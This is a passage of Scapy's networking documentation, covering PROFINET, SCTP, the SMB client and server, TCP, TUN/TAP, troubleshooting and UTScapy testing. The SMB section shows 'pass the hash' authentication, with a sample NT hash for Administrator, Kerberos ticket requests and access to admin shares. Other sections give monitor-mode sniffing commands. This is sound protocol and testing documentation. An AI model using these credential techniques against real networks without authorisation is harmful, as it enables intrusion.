        dataStatus= primary+validData+run+no_problem
        transferStatus= 0
>>> conf.contribs["PNIO_RTC"].update({('00:01:02:03:04:05', '06:07:08:09:0a:0b', 0x8000): [
... PNIORealTime_IOxS,
... PNIORealTimeCyclicPDU.build_fixed_len_raw_type(4),
... PNIORealTime_IOxS,
... PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4),
... PNIORealTime_IOxS,
... ]})
>>> e.show2()
###[ Ethernet ]###
  dst       = 06:07:08:09:0a:0b
  src       = 00:01:02:03:04:05
  type      = 0x8892
###[ ProfinetIO ]###
     frameID   = RT_CLASS_1 (8000)
###[ PROFINET Real-Time ]###
        \data      \
         |###[ PNIO RTC IOxS ]###
         |  dataState = good
         |  instance  = subslot
         |  reserved  = 0x0
         |  extension = 0
         |###[ FixedLenRawPacketLen4 ]###
         |  data      = 'AAA'
         |###[ PNIO RTC IOxS ]###
         |  dataState = good
         |  instance  = subslot
         |  reserved  = 0x0
         |  extension = 0
         |###[ PROFISafe Control Message with F_CRC_Seed=0 ]###
         |  data      = 'AAA'
         |  control   = Toggle_h
         |  crc       = 0x424242
         |###[ PNIO RTC IOxS ]###
         |  dataState = good
         |  instance  = subslot
         |  reserved  = 0x0
         |  extension = 0
        padding   = ''
        cycleCounter= 1024
        dataStatus= primary+validData+run+no_problem
        transferStatus= 0





If no data packets are configured for a given offset, it defaults to a PNIORealTimeCyclicDefaultRawData.





            

          

      

      

    

  

    
      
          
            
  
SCTP

SCTP is a relatively young transport-layer protocol combining both TCP and UDP characteristics. The RFC 3286 [https://tools.ietf.org/html/rfc3286] introduces it and its description lays in the RFC 4960 [https://tools.ietf.org/html/rfc4960].

It is not broadly used, its mainly present in core networks operated by telecommunication companies, to support VoIP for instance.


Enabling dynamic addressing reconfiguration and chunk authentication capabilities

If you are trying to discuss with SCTP servers, you may be interested in capabilities added in RFC 4895 [https://tools.ietf.org/html/rfc4895] which describe how to authenticated some SCTP chunks, and/or RFC 5061 [https://tools.ietf.org/html/rfc5061] to dynamically reconfigure the IP address of a SCTP association.

These capabilities are not always enabled by default on Linux. Scapy does not need any modification on its end, but SCTP servers may need specific activation.

To enable the RFC 4895 about authenticating chunks:

$ sudo echo 1 > /proc/sys/net/sctp/auth_enable





To enable the RFC 5061 about dynamic address reconfiguration:

$ sudo echo 1 > /proc/sys/net/sctp/addip_enable





You may also want to use the dynamic address reconfiguration without necessarily enabling the chunk authentication:

$ sudo echo 1 > /proc/sys/net/sctp/addip_noauth_enable









            

          

      

      

    

  

    
      
          
            
  
SMB

Scapy provides pretty good support for SMB 2/3 and very partial support of SMB1.

You can use the SMB2_Header to dissect or build SMB2/3, or SMB_Header for SMB1.


Warning

Encryption is currently not supported in neither the client nor server.




SMB 2/3 client

Scapy provides a small SMB 2/3 client Automaton: SMB_Client

[image: ../_images/smb_client.png]
Scapy’s SMB client stack is as follows:


	the SMB_Client Automaton handles the logic to bind, negotiate and establish the SMB session (eventually using Security Providers).


	This Automaton is wrapped into a SMB_SOCKET object which provides access to basic SMB commands such as open, read, write, close, etc.


	This socket is wrapped into a smbclient class which provides a high-level SMB client, with functions such as ls, cd, get, put, etc.




You can access any of the 3 layers depending on how low-level you want to get.
We’ll skip over the lowest one in this documentation, as it not really usable as an API, but note that this is where to look if you want to change SMB negotiation or session setup .(people wanting to use this are welcomed to have a look at the scapy/layers/smbclient.py code).


High-Level smbclient


From the CLI

Let’s start by using smbclient from the Scapy CLI:

>>> smbclient("server1.domain.local", "Administrator@domain.local")
Password: ************
SMB authentication successful using SPNEGOSSP[KerberosSSP] !
smb: \> shares
ShareName  ShareType  Comment
ADMIN$     DISKTREE   Remote Admin
C$         DISKTREE   Default share
IPC$       IPC        Remote IPC
NETLOGON   DISKTREE   Logon server share
SYSVOL     DISKTREE   Logon server share
Users      DISKTREE
common     DISKTREE
smb: \> use c$
smb: \> cd Program Files\Microsoft\
smb: \Program Files\Microsoft> ls
FileName     FileAttributes  EndOfFile  LastWriteTime
.            DIRECTORY       0B         Fri, 24 Feb 2023 17:00:27  (1677254427)
..           DIRECTORY       0B         Fri, 24 Feb 2023 17:00:27  (1677254427)
EdgeUpdater  DIRECTORY       0B         Fri, 24 Feb 2023 17:00:27  (1677254427)






Note

You can use help or ? in the CLI to get the list of available commands.



As you can see, the previous example used Kerberos to authenticate.
By default, the smbclient class will use a SPNEGOSSP and provide ask for both NTLM and Kerberos. but it is possible to have a greater control over this by providing your own ssp attribute.

smbclient using a NTLMSSP

>>> smbclient("server1.domain.local", ssp=NTLMSSP(UPN="Administrator", PASSWORD="password"))





You might be wondering if you can pass the HashNT of the password of the user ‘Administrator’ directly. The answer is yes, you can ‘pass the hash’ directly:

>>> smbclient("server1.domain.local", ssp=NTLMSSP(UPN="Administrator", HASHNT=bytes.fromhex("8846f7eaee8fb117ad06bdd830b7586c")))





smbclient using a KerberosSSP

>>> smbclient("server1.domain.local", ssp=KerberosSSP(SPN="cifs/server1", UPN="Administrator@domain.local", PASSWORD="password"))





smbclient using a KerberosSSP created by Ticketer++:

>>> load_module("ticketer")
>>> t = Ticketer()
>>> t.request_tgt("Administrator@DOMAIN.LOCAL")
Enter password: **********
>>> t.request_st(0, "host/server1.domain.local")
>>> smbclient("server1.domain.local", ssp=t.ssp(1))
SMB authentication successful using KerberosSSP !





If you pay very close attention, you’ll notice that in this case we aren’t using the SPNEGOSSP wrapper. You could have used ssp=SPNEGOSSP([t.ssp(1)]).


Note

It is also possible to start the smbclient directly from the OS, using the following:

$ python3 -m scapy.layers.smbclient server1.domain.local Administrator@DOMAIN.LOCAL





Use python3 -m scapy.layers.smbclient -h to see the list of available options.





Programmatically

A cool feature of the smbclient is that all commands that you can call from the CLI, you can also call programmatically.

Let’s re-do the initial example programmatically, by turning off the CLI mode. Obviously prompting for passwords will not work so make sure the client has everything it needs for Session Setup.

>>> from scapy.layers.smbclient import smbclient
>>> cli = smbclient("server1.domain.local", "Administrator@domain.local", password="password", cli=False)
>>> shares = cli.shares()
>>> shares
[('ADMIN$', 'DISKTREE', 'Remote Admin'),
('C$', 'DISKTREE', 'Default share'),
('common', 'DISKTREE', ''),
('IPC$', 'IPC', 'Remote IPC'),
('NETLOGON', 'DISKTREE', 'Logon server share '),
('SYSVOL', 'DISKTREE', 'Logon server share '),
('Users', 'DISKTREE', '')]
>>> cli.use('c$')
>>> cli.cd(r'Program Files\Microsoft')
>>> >>> names = [x[0] for x in cli.ls()]
>>> names
['.', '..', 'EdgeUpdater']








Mid-Level SMB_SOCKET

If you know what you’re doing, then the High-Level smbclient might not be enough for you. You can go a level lower using the SMB_SOCKET.
You can instantiate the object directly or via the from_tcpsock() helper.

Let’s write a script that connects to a share and list the files in the root folder.

import socket
from scapy.layers.smbclient import SMB_SOCKET
from scapy.layers.spnego import SPNEGOSSP
from scapy.layers.ntlm import NTLMSSP, MD4le
from scapy.layers.kerberos import KerberosSSP
# Build SSP first. In SMB_SOCKET you have to do this yourself
password = "password"
ssp = SPNEGOSSP([
    NTLMSSP(UPN="Administrator", PASSWORD=password),
    KerberosSSP(
        UPN="Administrator@domain.local",
        PASSWORD=password,
        SPN="cifs/server1",
    )
])
# Connect to the server
sock = socket.socket()
sock.connect(("server1.domain.local", 445))
smbsock = SMB_SOCKET.from_tcpsock(sock, ssp=ssp)
# Tree connect
tid = smbsock.tree_connect("C$")
smbsock.set_TID(tid)
# Open root folder and query files at root
fileid = smbsock.create_request('', type='folder')
files = smbsock.query_directory(fileid)
names = [x[0] for x in files]
# Close the handle
smbsock.close_request(fileid)
# Close the socket
smbsock.close()





This has a lot more overhead so make sure you need it.

Something hybrid that might be easier to use, is to access the underlying SMB_SOCKET in a higher-level smbclient:

>>> from scapy.layers.smbclient import smbclient
>>> cli = smbclient("server1.domain.local", "Administrator@domain.local", password="password", cli=False)
>>> cli.use('c$')
>>> smbsock = cli.smbsock
>>> # Open root folder and query files at root
>>> fileid = smbsock.create_request('', type='folder')
>>> files = smbsock.query_directory(fileid)
>>> names = [x[0] for x in files]







Low-Level SMB_Client

Finally, it’s also possible to call the underlying smblink socket directly.
Again, you can instantiate the object directly or via the from_tcpsock() helper.

>>> import socket
>>> from scapy.layers.smbclient import SMB_Client
>>> sock = socket.socket()
>>> sock.connect(("192.168.0.100", 445))
>>> lowsmbsock = SMB_Client.from_tcpsock(sock, ssp=NTLMSSP(UPN="Administrator", PASSWORD="password"))
>>> resp = cli.sock.sr1(SMB2_Tree_Connect_Request(Path=r"\\server1\c$"))





It’s also accessible as the ins attribute of a SMB_SOCKET, or the sock attribute of a smbclient.

>>> from scapy.layers.smbclient import smbclient
>>> cli = smbclient("server1.domain.local", "Administrator@domain.local", password="password", cli=False)
>>> lowsmbsock = cli.sock
>>> resp = cli.sock.sr1(SMB2_Tree_Connect_Request(Path=r"\\server1\c$"))








SMB 2/3 server

Scapy provides a SMB 2/3 server Automaton: SMB_Server

[image: ../_images/smb_server.png]
Once again, Scapy provides high level smbserver class that allows to spawn a SMB server.


High-Level smbserver

The smbserver class allows to spawn a SMB server serving a selection of shares.
A share is identified by a name and a path (+ an optional description called remark).

Start a SMB server with NTLM auth for 2 users:

smbserver(
    shares=[SMBShare(name="Scapy", path="/tmp")],
    iface="eth0",
    ssp=NTLMSSP(
        IDENTITIES={
            "User1": MD4le("Password1"),
            "Administrator": MD4le("Password2"),
        },
    )
)





Start a SMB server with Kerberos auth:

smbserver(
    shares=[SMBShare(name="Scapy", path="/tmp")],
    iface="eth0",
    ssp=KerberosSSP(
        KEY=Key(
            EncryptionType.AES256_CTS_HMAC_SHA1_96,
            key=bytes.fromhex("0000000000000000000000000000000000000000000000000000000000000000"),
        ),
        SPN="cifs/server.domain.local",
    ),
)





You can of course combine a NTLM and Kerberos server and provide them both over a SPNEGOSSP:

smbserver(
    shares=[SMBShare(name="Scapy", path="/tmp")],
    iface="eth0",
    ssp=SPNEGOSSP(
        [
            KerberosSSP(
                KEY=Key(
                    EncryptionType.AES256_CTS_HMAC_SHA1_96,
                    key=bytes.fromhex("0000000000000000000000000000000000000000000000000000000000000000"),
                ),
                SPN="cifs/server.domain.local",
            ),
            NTLMSSP(
                IDENTITIES={
                    "User1": MD4le("Password1"),
                    "Administrator": MD4le("Password2"),
                },
            ),
        ]
    ),
)






Note

It is possible to start the smbserver (albeit only in unauthenticated mode) directly from the OS, using the following:

$ python3 -m scapy.layers.smbserver --port 12345





Use python3 -m scapy.layers.smbserver -h to see the list of available options.





Low-Level SMB_Server

To change the functionality of the SMB_Server, you shall extend the server class (which is an automaton) and provide additional custom conditions (or overwrite existing ones).

from scapy.layers.smbserver import SMB_Server
class MyCustomSMBServer(SMB_Server):
    """
    Ridiculous demo SMB Server

    We overwrite the handler of "SMB Echo Request" to do some crazy stuff
    """
    @ATMT.action(SMB_Server.receive_echo_request)
    def send_echo_reply(self, pkt):
        super(MyCustomSMBServer, self).send_echo_reply(pkt)  # send echo response
        print("WHAT? An ECHO REQUEST? You MUUUSST be a linux user then, since Windows NEEEVER sends those !")










            

          

      

      

    

  

    
      
          
            
  
TCP

Scapy is based on a stimulus/response model. This model does not work
well for a TCP stack. On the other hand, quite often, the TCP stream is
used as a tube to exchange messages that are stimulus/response-based.

Also, Scapy provides a way to describe network automata that can be
used to create a TCP stack automaton.

There are many ways to use TCP with Scapy


Using the kernel’s TCP stack

Scapy provides a StreamSocket object that can transform a simple
socket into a Scapy supersocket suitable for use with sr() command
family.

>>> s=socket.socket()
>>> s.connect(("www.test.com",80))
>>> ss=StreamSocket(s,Raw)
>>> ss.sr1(Raw("GET /\r\n"))
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<Raw  load='<html>\r\n<head> ... >





Using kernel’s TCP stack means you’ll depend on your local firewall’s
rules and the kernel’s routing table.



Scapy’s TCP client automaton

Scapy provides a simple TCP client automaton (no retransmits, no SAck,
no timestamps, etc.). Automata can provide input and output in the shape
of a supersocket (see Automata’s documentation).

Here is how to use Scapy’s TCP client automaton (needs at least Scapy v2.1.1).


Note

TCP_client.tcplink is a SuperSocket subclass, therefore all its functions (.sniff(), …) are available.



>>> s = TCP_client.tcplink(Raw, "www.test.com", 80)
>>> s.send("GET /\r\n")
7
>>> s.recv()
<Raw  load='<html>\r\n<head> ... >






Note

specifically for HTTP, you could pass HTTP instead of Raw. More information over HTTP in Scapy.





Use external projects


	muXTCP [http://events.ccc.de/congress/2005/fahrplan/events/529.en.html] - Writing your own flexible Userland TCP/IP Stack - Ninja Style!!!


	Integrating pynids [http://jon.oberheide.org/pynids/]








            

          

      

      

    

  

    
      
          
            
  
TUN / TAP Interfaces


Note

This module only works on BSD, Linux and macOS.



TUN/TAP lets you create virtual network interfaces from userspace. There are two
types of devices:


	TUN devices
	Operates at Layer 3 (IP), and is generally limited to one
protocol.



	TAP devices
	Operates at Layer 2 (Ether), and allows you to use any Layer 3
protocol (IP, IPv6, IPX, etc.)






Requirements


	FreeBSD
	Requires the if_tap and if_tun kernel modules.

See tap(4) [https://www.freebsd.org/cgi/man.cgi?query=tap&sektion=4] and tun(4) [https://www.freebsd.org/cgi/man.cgi?query=tun&sektion=4] manual pages for more information.



	Linux
	Load the tun kernel module:

# modprobe tun





udev normally handles the creation of device nodes.

See networking/tuntap.txt [https://www.kernel.org/doc/Documentation/networking/tuntap.txt] in the Linux kernel documentation for more
information.



	macOS
	On macOS 10.14 and earlier, you need to install tuntaposx [http://tuntaposx.sourceforge.net/]. macOS
10.14.5 and later will warn about the tuntaposx kexts not being
notarised [https://developer.apple.com/documentation/security/notarizing_your_app_before_distribution?language=objc], but this works because it was built before 2019-04-07.

On macOS 10.15 and later, you need to use a notarized build [https://developer.apple.com/documentation/security/notarizing_your_app_before_distribution?language=objc] of
tuntaposx. Tunnelblick [https://tunnelblick.net/downloads.html] (OpenVPN client) contains a notarized build
of tuntaposx which can be extracted [https://sourceforge.net/p/tuntaposx/bugs/28/#ac64].


Note

On macOS 10.13 and later, you need to explicitly approve loading
each third-party kext for the first time [https://developer.apple.com/library/archive/technotes/tn2459/_index.html].









Using TUN/TAP in Scapy


Tip

Using TUN/TAP generally requires running Scapy (and these utilities) as
root.



TunTapInterface lets you easily create a new device:

>>> t = TunTapInterface('tun0')





You’ll then need to bring the interface up, and assign an IP address in another
terminal.

Because TUN is a layer 3 connection, it acts as a point-to-point link.  We’ll
assign these parameters:


	local address (for your machine): 192.0.2.1


	remote address (for Scapy): 192.0.2.2




On Linux, you would use:

sudo ip link set tun0 up
sudo ip addr add 192.0.2.1 peer 192.0.2.2 dev tun0





On BSD and macOS, use:

sudo ifconfig tun0 up
sudo ifconfig tun0 192.0.2.1 192.0.2.2





Now, nothing will happen when you ping those addresses – you’ll need to make
Scapy respond to that traffic.

TunTapInterface works the same as a SuperSocket, so lets
setup an AnsweringMachine to respond to ICMP
echo-request:

>>> am = t.am(ICMPEcho_am)
>>> am()





Now, you can ping Scapy in another terminal:

You should see those packets show up in Scapy:

>>> am()
Replying 192.0.2.1 to 192.0.2.2
Replying 192.0.2.1 to 192.0.2.2
Replying 192.0.2.1 to 192.0.2.2





You might have noticed that didn’t configure Scapy with any IP address… and
there’s a trick to this: ICMPEcho_am swaps the source and
destination fields of any Ether and IP headers on
the ICMP packet that it receives. As a result, it actually responds
to any IP address.

You can stop the ICMPEcho_am AnsweringMachine with ^C.

When you close Scapy, the tun0 interface will automatically disappear.



TunTapInterface reference


	
class TunTapInterface(SimpleSocket)

	A socket to act as the remote side of a TUN/TAP interface.


	
__init__(iface: Text[, mode_tun][, strip_packet_info = True][, default_read_size = MTU])

	
	Parameters:

	
	iface (Text) – The name of the interface to use, eg: tun0.

On BSD and macOS, this must start with either tun or tap,
and have a corresponding /dev/ node (eg: /dev/tun0).

On Linux, this will be truncated to 16 bytes.




	mode_tun (bool) – If True, create as TUN interface (layer 3). If False, creates a TAP
interface (layer 2).

If not supplied, attempts to detect from the iface parameter.




	strip_packet_info (bool) – If True (default), any TunPacketInfo will be stripped
from the packet (so you get Ether or IP).

Only Linux TUN interfaces have TunPacketInfo available.

This has no effect for interfaces that do not have
TunPacketInfo available.




	default_read_size (int) – Sets the default size that is read by
SuperSocket.raw_recv() and SuperSocket.recv().
This defaults to scapy.data.MTU.

TunTapInterface always adds overhead for
TunPacketInfo headers, if required.



















	
class TunPacketInfo(Packet)

	Abstract class used to stack layer 3 protocols on a platform-specific
header.

See LinuxTunPacketInfo for an example.


	
guess_payload_class(payload)

	The default implementation expects the field proto to be declared,
with a value from scapy.data.ETHER_TYPES.










Linux-specific structures


	
class LinuxTunPacketInfo(TunPacketInfo)

	Packet header used for Linux TUN packets.

This is struct tun_pi, declared in linux/if_tun.h.


	
flags

	Flags to set on the packet. Only TUN_VNET_HDR is supported.






	
proto

	Layer 3 protocol number, per scapy.data.ETHER_TYPES.

Used by TunTapPacketInfo.guess_payload_class().










	
class LinuxTunIfReq(Packet)

	Internal “packet” used for TUNSETIFF requests on Linux.

This is struct ifreq, declared in linux/if.h.










            

          

      

      

    

  

    
      
          
            
  
Troubleshooting


FAQ


I can’t sniff/inject packets in monitor mode.

The use monitor mode varies greatly depending on the platform, reasons are explained on the Wireshark wiki [https://wiki.wireshark.org/CaptureSetup/WLAN]:


Unfortunately, changing the 802.11 capture modes is very platform/network adapter/driver/libpcap dependent, and might not be possible at all (Windows is very limited here).




Here is some guidance on how to properly use monitor mode with Scapy:


	
	Using Libpcap (or Npcap):
	libpcap must be called differently by Scapy in order for it to create the sockets in monitor mode. You will need to pass the monitor=True to any calls that open a socket (send, sniff…) or to a Scapy socket that you create yourself (conf.L2Socket…)

On Windows, you additionally need to turn on monitor mode on the WiFi card, use:

# Of course, conf.iface can be replaced by any interfaces accessed through conf.ifaces
>>> conf.iface.setmonitor(True)











	
	Native Linux (with libpcap disabled):
	You should set the interface in monitor mode on your own. The easiest way to do that is to use airmon-ng:

$ sudo airmon-ng start wlan0





You can also use:

$ iw dev wlan0 interface add mon0 type monitor
$ ifconfig mon0 up





If you want to enable monitor mode manually, have a look at https://wiki.wireshark.org/CaptureSetup/WLAN#linux










Warning

If you are using Npcap: please note that Npcap npcap-0.9983 broke the 802.11 support until npcap-1.3.0. Avoid using those versions.



We make our best to make this work, if your adapter works with Wireshark for instance, but not with Scapy, feel free to report an issue.



My TCP connections are reset by Scapy or by my kernel.

The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls.



I can’t ping 127.0.0.1 (or ::1). Scapy does not work with 127.0.0.1 (or ::1) on the loopback interface.

The loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with `tcpdump -i lo` is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it.


Note

Starting from Scapy > 2.5.0, Scapy will automatically use L3RawSocket when necessary when using L3-functions (sr-like) on the loopback interface, when libpcap is not in use.



On Linux, in order to speak to local IPv4 applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux):

>>> conf.L3socket
<class __main__.L3PacketSocket at 0xb7bdf5fc>
>>> conf.L3socket = L3RawSocket
>>> sr1(IP() / ICMP())
<IP  version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>





With IPv6, you can simply do:

# Layer 3
>>> sr1(IPv6() / ICMPv6EchoRequest())
<IPv6  version=6 tc=0 fl=866674 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>

# Layer 2
>>> srp1(Ether() / IPv6() / ICMPv6EchoRequest(), iface=conf.loopback_name)
<Ether  dst=00:00:00:00:00:00 src=00:00:00:00:00:00 type=IPv6 |<IPv6  version=6 tc=0 fl=866674 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>>






Warning


	On Linux, libpcap does not support loopback IPv4 pings:
	>>> conf.use_pcap = True
>>> sr1(IP() / ICMP())
Begin emission:
Finished sending 1 packets.
.....................................









You can disable libpcap using conf.use_pcap = False or bypass it on layer 3 using conf.L3socket = L3RawSocket.



On Windows, BSD, and macOS, you must deactivate/configure the local firewall prior to using the following commands:

# Layer 3
>>> sr1(IP() / ICMP())
<IP  version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>
>>> sr1(IPv6() / ICMPv6EchoRequest())
<IPv6  version=6 tc=0 fl=866674 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>

# Layer 2
>>> srp1(Loopback() / IP() / ICMP(), iface=conf.loopback_name)
<Loopback  type=IPv4 |<IP  version=4 ihl=5 tos=0x0 len=28 id=56066 flags= frag=0 ttl=64 proto=icmp chksum=0x0 src=127.0.0.1 dst=127.0.0.1 |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>>
>>> srp1(Loopback() / IPv6() / ICMPv6EchoRequest(), iface=conf.loopback_name)
<Loopback  type=IPv6 |<IPv6  version=6 tc=0 fl=0 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>>







Getting ‘failed to set hardware filter to promiscuous mode’ error

Disable promiscuous mode:

conf.sniff_promisc = False







Scapy says there are ‘Winpcap/Npcap conflicts’

On Windows, as Winpcap is becoming old, it’s recommended to use Npcap instead. Npcap is part of the Nmap project.


Note

This does NOT apply for Windows XP, which isn’t supported by Npcap. On XP, uninstall Npcap and keep Winpcap.




	If you get the message 'Winpcap is installed over Npcap.' it means that you have installed both Winpcap and Npcap versions, which isn’t recommended.




You may first uninstall winpcap from your Program Files, then you will need to remove some files that are not deleted by the Winpcap uninstaller:

C:/Windows/System32/wpcap.dll
C:/Windows/System32/Packet.dll





And if you are on an x64 machine, additionally the 32-bit variants:

C:/Windows/SysWOW64/wpcap.dll
C:/Windows/SysWOW64/Packet.dll





Once that is done, you’ll be able to use Npcap properly.

2. If you get the message 'The installed Windump version does not work with Npcap' it means that you have probably installed an old version of Windump, made for Winpcap.
Download the one compatible with Npcap on https://github.com/hsluoyz/WinDump/releases

In some cases, it could also mean that you had installed both Npcap and Winpcap, and that the Npcap Windump is using Winpcap. Fully delete Winpcap using the above method to solve the problem.



BPF filters do not work. I’m on a ppp link

This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets).



traceroute() does not work. I’m on a ppp link

This is a known bug. See BPF filters do not work. I’m on a ppp link

To work around this, use nofilter=1:

>>> traceroute("target", nofilter=1)







Graphs are ugly/fonts are too big/image is truncated.

Quick fix: use png format:

>>> x.graph(format="png")





Upgrade to latest version of GraphViz.

Try providing different DPI options (50,70,75,96,101,125, for instance):

>>> x.graph(options="-Gdpi=70")





If it works, you can make it permanenent:

>>> conf.prog.dot = "dot -Gdpi=70"





You can also put this line in your ~/.scapy_startup.py file




Getting help

Common problems are answered in the FAQ.

If you need additional help, please check out:


	The Gitter channel [https://gitter.im/secdev/scapy]


	The GitHub repository [https://github.com/secdev/scapy/]




There’s also a low traffic mailing list at scapy.ml(at)secdev.org  (archive [http://news.gmane.org/gmane.comp.security.scapy.general], RSS, NNTP [http://gmane.org/info.php?group=gmane.comp.security.scapy.general]).
Subscribe by sending a mail to scapy.ml-subscribe(at)secdev.org.

You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc.





            

          

      

      

    

  

    
      
          
            
  
Scapy development


Project organization

Scapy development uses the Git version control system. Scapy’s
reference repository is at https://github.com/secdev/scapy/.

Project management is done with Github [https://github.com/secdev/scapy/].  It provides a freely editable
Wiki [https://github.com/secdev/scapy/wiki/] (please contribute!)
that can reference tickets, changesets, files from the project. It
also provides a ticket management service that is used to avoid
forgetting patches or bugs.



How to contribute


	Found a bug in Scapy? Add a ticket [https://github.com/secdev/scapy/issues/new].


	Improve this documentation.


	Program a new layer and share it on the mailing list, or create a pull request.


	Contribute new regression tests [https://github.com/secdev/scapy/wiki/Contrib:-RegressionTests].


	Upload packet samples for new protocols on the packet samples page [https://github.com/secdev/scapy/wiki/Contrib:-PacketSamples].






Improve the documentation

The documentation can be improved in several ways by:


	Adding docstrings to the source code.


	Adding usage examples to the documentation.





Adding Docstrings

The Scapy source code has few explanations of what a function is doing. A docstring, by adding explanation and
expected input and output parameters, helps saving time for both the layer developers and the users looking for
advanced features.

An example of docstring from the scapy.fields.FlagsField class:

class FlagsField(BitField):
  """ Handle Flag type field

   Make sure all your flags have a label

   Example:
       >>> from scapy.packet import Packet
       >>> class FlagsTest(Packet):
               fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])]
       >>> FlagsTest(flags=9).show2()
       ###[ FlagsTest ]###
         flags     = f0+f3
       >>> FlagsTest(flags=0).show2().strip()
       ###[ FlagsTest ]###
         flags     =

   :param name: field's name
   :param default: default value for the field
   :param size: number of bits in the field
   :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first
   """





It will contain a short one-line description of the class followed by some indications about its usage.
You can add a usage example if it makes sense using the doctest [https://docs.python.org/2.7/library/doctest.html] format.
Finally, the classic python signature can be added following the sphinx documentation [http://www.sphinx-doc.org/en/stable/domains.html#python-signatures].

This task works in pair with writing non regression unit tests.



Documentation

A way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations.




Testing with UTScapy


What is UTScapy?

UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX.

Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within the desired grouping.

For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file.



Syntax of a Test Campaign

Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued.



	Syntax Specifier

	Definition





	‘%’

	Give the test campaign’s name.



	‘+’

	Announce a new test set.



	‘=’

	Announce a new unit test.



	‘~’

	Announce keywords for the current unit test.



	‘*’

	Denotes a comment that will be included in the report.



	‘#’

	Testcase annotations that are discarded by the interpreter.






Table 1 - UTScapy Syntax Specifiers

Comments placed in the test report have a context. Each comment will be associated with the last defined test container - be it an individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after the declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before the definition of the set’s first unit test.

The generic format for a test campaign is shown in the following table:

% Test Campaign Name
* Comment describing this campaign


+ Test Set 1
* comments for test set 1

= Unit Test 1
~ keywords
* Comments for unit test 1
# Python statements follow
a = 1
print a
a == 1





Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (interact). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during the development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well.

It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed.

The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:

[root@localhost scapy]# ./UTscapy.py –h
Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file]
               [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]]
               [-l] [-d|-D] [-F] [-q[q]]
-l              : generate local files
-F              : expand only failed tests
-d              : dump campaign
-D              : dump campaign and stop
-C              : don't calculate CRC and SHA
-q              : quiet mode
-qq             : [silent mode]
-n <testnum>    : only tests whose numbers are given (eg. 1,3-7,12)
-m <module>     : additional module to put in the namespace
-k <kw1>,<kw2>,...      : include only tests with one of those keywords (can be used many times)
-K <kw1>,<kw2>,...      : remove tests with one of those keywords (can be used many times)





